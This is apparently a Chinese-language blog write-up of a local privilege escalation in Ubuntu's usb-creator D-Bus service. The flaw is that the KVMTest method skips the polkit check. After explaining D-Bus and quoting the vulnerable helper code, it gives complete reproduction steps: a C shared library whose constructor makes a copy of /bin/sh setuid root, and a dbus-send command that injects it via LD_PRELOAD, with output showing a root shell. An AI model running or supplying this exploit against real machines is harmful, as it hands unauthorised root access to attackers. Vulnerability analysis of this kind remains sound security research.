Ubuntu usb-creator 0.2.x - Local Privilege Escalation

漏洞描述: ubuntu下D-bus服务会默认挂载 com.ubuntu.USBCreator 这个服务。由于这个接口的KVMTest 方法没有调用check_polkit,通过给sh设置suid位来达到提权的目的。
一:D-Bus 简介和使用

dbus是一个低延迟,低开销,高可用的ipc机制。

http://dbus.freedesktop.org/doc/dbus-python/doc/tutorial.html

查看system总线上可挂载的服务:

dbus-send --system --print-reply --dest=org.freedesktop.DBus /org/freedesktop/DBus org.freedesktop.DBus.ListActivatableNames

查看session总线上可挂载的服务:

dbus-send --session -print-reply --dest=org.freedesktop.DBus /org/freedesktop/DBus org.freedesktop.DBus.ListActivatableNames

查看已经挂载system总线上的服务:

dbus-send --system --print-reply --dest=org.freedesktop.DBus /org/freedesktop/DBus org.freedesktop.DBus.ListNames

二:分析重现

先看下是否已挂载usbcreator服务:

root@H:~# dbus-send --system --print-reply --dest=org.freedesktop.DBus /org/freedesktop/DBus org.freedesktop.DBus.ListNames
method return sender=org.freedesktop.DBus -> dest=:1.3264 reply_serial=2
   array [
      string "org.freedesktop.DBus"
      string ":1.7"
      string ":1.1505"
      string ":1.8"
      string ":1.9"
      string "org.freedesktop.NetworkManager"
      string "org.freedesktop.ModemManager"
      string "com.ubuntu.Upstart"
      string "org.freedesktop.Accounts"
      string "org.freedesktop.RealtimeKit1"
      string ":1.3097"
      string "com.canonical.NMOfono"
      string "org.freedesktop.PolicyKit1"
      string ":1.21"
      string ":1.23"
      string ":1.24"
      string ":1.49"
      string ":1.2920"
      string "fi.epitest.hostap.WPASupplicant"
      string ":1.2921"
      string ":1.29"
      string "com.ubuntu.USBCreator"
      string "org.freedesktop.Avahi"
      string "org.freedesktop.UDisks"
      string "org.freedesktop.UDisks2"
      string "fi.w1.wpa_supplicant1"
      string "org.freedesktop.login1"
      string "org.freedesktop.ColorManager"
      string "org.freedesktop.DisplayManager"
      string ":1.3264"
      string "org.freedesktop.NetworkManager.dnsmasq"
      string ":1.30"
      string ":1.52"
      string ":1.10"
      string ":1.3102"
      string "org.freedesktop.UPower"
      string ":1.0"
      string ":1.13"
      string ":1.14"
      string ":1.2"
      string ":1.37"
      string ":1.101"
      string ":1.2952"
      string ":1.3"
      string ":1.16"
      string ":1.102"
      string ":1.2953"
      string ":1.2954"
      string ":1.4"
      string ":1.39"
      string ":1.5"
      string ":1.6"
   ]

可以看到

string "com.ubuntu.USBCreator"

说明此服务已经被挂载。(ubuntu默认挂载)

查看此服务的配置文件:

root@H:/etc/dbus-1/system.d# cat com.ubuntu.USBCreator.conf 
<!DOCTYPE busconfig PUBLIC
 "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
 "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>

  <!-- Only root can own the service -->
  <policy user="root">
    <allow own="com.ubuntu.USBCreator"/>
  </policy>

  <!-- Allow anyone to invoke methods (further constrained by
       PolicyKit privileges -->
  <policy context="default">
    <allow send_destination="com.ubuntu.USBCreator" 
           send_interface="com.ubuntu.USBCreator"/>
    <allow send_destination="com.ubuntu.USBCreator" 
           send_interface="org.freedesktop.DBus.Introspectable"/>
    <allow send_destination="com.ubuntu.USBCreator" 
           send_interface="org.freedesktop.DBus.Properties"/>
  </policy>

</busconfig>

脚本代码在/usr/share/usb-creator/usb-creator-helper。

KVMTest方法没有check_polkit来处理权限:

100     @dbus.service.method(USBCREATOR_IFACE, in_signature='sa{ss}', out_signature='')
101     def KVMTest(self, device, env):
102         '''Run KVM with the freshly created device as the first disk.'''
103         for key in ('DISPLAY', 'XAUTHORITY'):
104             if key not in env:
105                 logging.debug('Missing %s' % key)
106                 return
107         bus = dbus.SystemBus()
108         dev = bus.get_object(DISKS_IFACE, device)
109         if dev.Get(device, 'device-is-partition', dbus_interface=PROPS_IFACE):
110             device = dev.Get(device, 'partition-slave', dbus_interface=PROPS_IFACE)
111             dev = bus.get_object(DISKS_IFACE, device)
112         # TODO unmount all the partitions. 
113         dev_file = dev.Get(device, 'device-file', dbus_interface=PROPS_IFACE)
114         if mem_free() >= 768:
115             envp = []
116             for k, v in env.items():
117                 envp.append('%s=%s' % (str(k), str(v)))
118             cmd = ('kvm', '-m', '512', '-hda', str(dev_file))
119             flags = (GObject.SPAWN_SEARCH_PATH)
120             # Don't let SIGINT propagate to the child.
121             GObject.spawn_async(cmd, envp=envp, flags=flags, child_setup=os.setsid)

check_polkit方法的代码如下:

288     # Taken from Jockey 0.5.3.
289     def check_polkit(self, sender, conn, priv):
290         if sender is None and conn is None:
291             return   
292         if self.dbus_info is None:    
293             self.dbus_info = dbus.Interface(conn.get_object(          
294                                             'org.freedesktop.DBus',   
295                                             '/org/freedesktop/DBus/Bus',
296                                             False), 'org.freedesktop.DBus')
297         pid = self.dbus_info.GetConnectionUnixProcessID(sender)                                                                                                                                                  
298         if self.polkit is None:       
299             self.polkit = dbus.Interface(dbus.SystemBus().get_object(
300                                 'org.freedesktop.PolicyKit1',
301                                 '/org/freedesktop/PolicyKit1/Authority',
302                                 False), 'org.freedesktop.PolicyKit1.Authority')                                                                                                                                  
303         try:
304             # we don't need is_challenge return here, since we call with                                                                                                                                         
305             # AllowUserInteraction    
306             (is_auth, _, details) = self.polkit.CheckAuthorization(
307                                     ('system-bus-name', {'name': dbus.String(sender,
308                                         variant_level = 1)}), priv, {'': ''}, 
309                                     dbus.UInt32(1), '', timeout=600)                                                                                                                                             
310         except dbus.DBusException as e:
311             if e._dbus_error_name == 'org.freedesktop.DBus.Error.ServiceUnknown':                                                                                                                                
312                 # polkitd timed out, connect again
313                 self.polkit = None        
314                 return self.check_polkit(sender, conn, priv)                                                                                                                                                     
315             else:
316                 raise
317 
318         if not is_auth:
319             logging.debug('_check_polkit_privilege: sender %s on connection %s '
320                           'pid %i is not authorized for %s: %s' %
321                           (sender, conn, pid, priv, str(details)))
322             raise dbus.DBusException('com.ubuntu.USBCreator.Error.NotAuthorized')

复现过程:

1. 动态库源码

$ cat test.c
void __attribute__((constructor)) init (void)
{
	chown("/tmp/test", 0, 0);
	chmod("/tmp/test", 04755);
}

编译动态库

gcc -shared -fPIC -o /tmp/test.so test.c

3. 复制/bin/sh 到/tmp/test (动态库源码中指定的)并发送dbus 消息

$ cp /bin/sh /tmp/test
$ dbus-send --print-reply --system --dest=com.ubuntu.USBCreator /com/ubuntu/USBCreator  com.ubuntu.USBCreator.KVMTest 
string:/org/freedesktop/UDisks/devices/sda dict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so"

tips: http://www.openwall.com/lists/oss-security/2015/04/22/12中的测试发送的dbus 消息中的对象路径为 /dev/sda , 在这里测试报 dbus.exceptions.DBusException: org.freedesktop.DBus.Error.UnknownMethod: Method “Get” with signature “ss” on interface “org.freedesktop.DBus.Properties” doesn’t exist 的错误。改为/org/freedesktop/UDisks/devices/sda 错误解决。

发送dbus 消息前。
$ cp /bin/sh /tmp/test && ls -l /tmp/test
-rwxr-xr-x 1 test test 105712 Apr 24 14:45 /tmp/test
发送dbus 消息后
$ dbus-send --print-reply --system --dest=com.ubuntu.USBCreator /com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/org/freedesktop/UDisks/devices/sda dict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so"
method return sender=:1.2952 -> dest=:1.3144 reply_serial=2
$ ls -l test
-rwsr-xr-x 1 root root 105712 Apr 24 14:45 test   //s位已经被设置了。
$ ./test
# whoami
root
# id
uid=1002(test) gid=1002(test) euid=0(root) groups=0(root),1002(test)

参考链接:

https://www.exploit-db.com/exploits/36820/
http://www.openwall.com/lists/oss-security/2015/04/22/12
http://dbus.freedesktop.org/doc/dbus-python/doc/tutorial.html

发表评论